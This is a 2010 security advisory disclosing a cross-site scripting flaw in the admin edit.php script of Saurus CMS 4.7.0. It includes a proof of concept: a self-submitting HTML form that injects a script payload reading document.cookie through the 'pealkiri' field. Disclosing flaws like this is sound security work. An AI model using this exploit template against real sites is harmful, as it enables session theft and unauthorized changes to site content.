Saurus CMS 4.7.0 Cross Site Scripting

2010-05-12T00:00:00
ID PACKETSTORM:89416
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2010-05-12T00:00:00

Description

                                        
                                            `Vulnerability ID: HTB22361  
Reference: http://www.htbridge.ch/advisory/xss_in_saurus_cms.html  
Product: Saurus CMS Community Editon  
Vendor: Saurused Ltd  
Vulnerable Version: 4.7.0  
Vendor Notification: 27 April 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.   
  
The vulnerability exists due to failure in the "/admin/edit.php" script to properly sanitize user-supplied input in "pealkiri" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://www.example.com/admin/edit.php" name="editForm" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="tab" value="object" />  
<input type="hidden" name="op" value="new" />  
<input type="hidden" name="op2" value="" />  
<input type="hidden" name="refresh" value="0" />   
<input type="hidden" name="tyyp_id" value="1" />  
<input type="hidden" name="tyyp" value="rubriik" />   
<input type="hidden" name="pearubriik" value="0" />  
<input type="hidden" name="id" value="27746" />  
<input type="hidden" name="parent_id" value="27270" />  
<input type="hidden" name="previous_id" value="" />  
<input type="hidden" name="keel" value="1" />  
<input type="hidden" name="on_pealkiri" value="1" />   
<input type="hidden" name="sorting" value="">  
<input type="hidden" name="extension_path" value="" />  
<input type="hidden" name="opener_location" value="" />  
<input type="hidden" name="publish" value="1" />  
<input name="permanent_parent_id" type="hidden" value="27270" />  
<input name="sys_alias" type="hidden" value="" />  
<input name="advanced_panel_state" type="hidden" value="0" />   
<input type="hidden" name="pealkiri" value='"><script>alert(document.cookie)</script>' />  
<input type="hidden" name="friendly_url" value="scriptalertdocumentcookiescript" />  
<input type="hidden" name="ttyyp_id" value="0" />  
<input type="hidden" name="publish" value="1" />  
<input type="hidden" name="rubriik[]" value="27270">  
<input type="hidden" name="page_ttyyp_id" value="0" />  
<input type="hidden" name="on_meilinglist" value="1" />  
<input type="hidden" name="avaldamise_algus" value="" />  
<input type="hidden" name="avaldamise_lopp" value="" />  
<input type="hidden" name="kesk" value="0" />  
</form>  
<script>  
document.editForm.submit();  
</script>  
  
  
`